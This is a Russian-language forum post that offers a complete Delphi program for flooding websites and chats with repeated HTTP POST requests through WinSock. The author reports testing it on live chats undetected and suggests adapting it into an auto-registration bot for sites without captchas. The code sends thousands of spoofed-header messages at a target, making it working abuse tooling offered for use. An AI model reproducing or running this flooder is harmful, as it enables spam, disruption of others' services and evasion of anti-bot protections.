Выкладываю пример флудера по протоколу HTTP (сайты, чаты). Флудит методом POST запросов, отсылающихся при помощи WinSock. Чуть переделать, и может применяться даже как автореггер (если капчи нет). Тестировался на чате дельфкода (без палева 
) и еще одном чате. Структуру запроса для отправки узнавать с помощью HTTP сниффера.
Code
program flood;
{$APPTYPE CONSOLE}
uses
Windows,
WinSock,
SysUtils;
var
WSA:TWSAData;
S:TSocket;
sin:TSockAddr;
const
Req = 'nick=You_Name&hash=You_Hash&d=send&last=1459&msg=Text_Message';
IPHost = 'xxx.xxx.xxx.xxx';
MaxMess = 3000;
x = #13#10;
function CreateSock : boolean;
begin
result:=false;
WSAStartup($101, WSA);
S:=Socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family:=AF_INET;
sin.sin_port:=htons(80);
sin.sin_addr.S_addr:=inet_addr(IPHost);
if (Connect(s, sin, SizeOf(sin)) = 0) then
result:=true;
end;
procedure SendText(Text:string);
begin
if send(s, Text[1], Length(Text), 0) = socket_error
then MessageBox(0,'Error','PiPeC',0);
end;
var
i:integer;
y:string;
begin
If CreateSock then begin
y:=
'POST /script.php HTTP/1.1'+x+
'User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10'+x+
'Host: cp1251.darkoff.ru'+x+
'Accept: */*;q=0.1'+x+
'Accept-Encoding: gzip,deflate'+x+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+x+
'Referer: http://yandex.ru'+ x +
'Cookie2: $Version=1' + x +
'Content-length: '+IntToStr(Length(Req))+x+
'Content-Type: application/x-www-form-urlencoded'+x+
'Connection: Keep-Alive'+x+x+
Req;
for i:=1 to MaxMess do begin
SendText(y);
WriteLn(IntToStr(i)+' Message');
sleep(50);
end;
WriteLn('Off');
end;
CloseSocket(S);
WSACleanup();
ReadLn;
end.
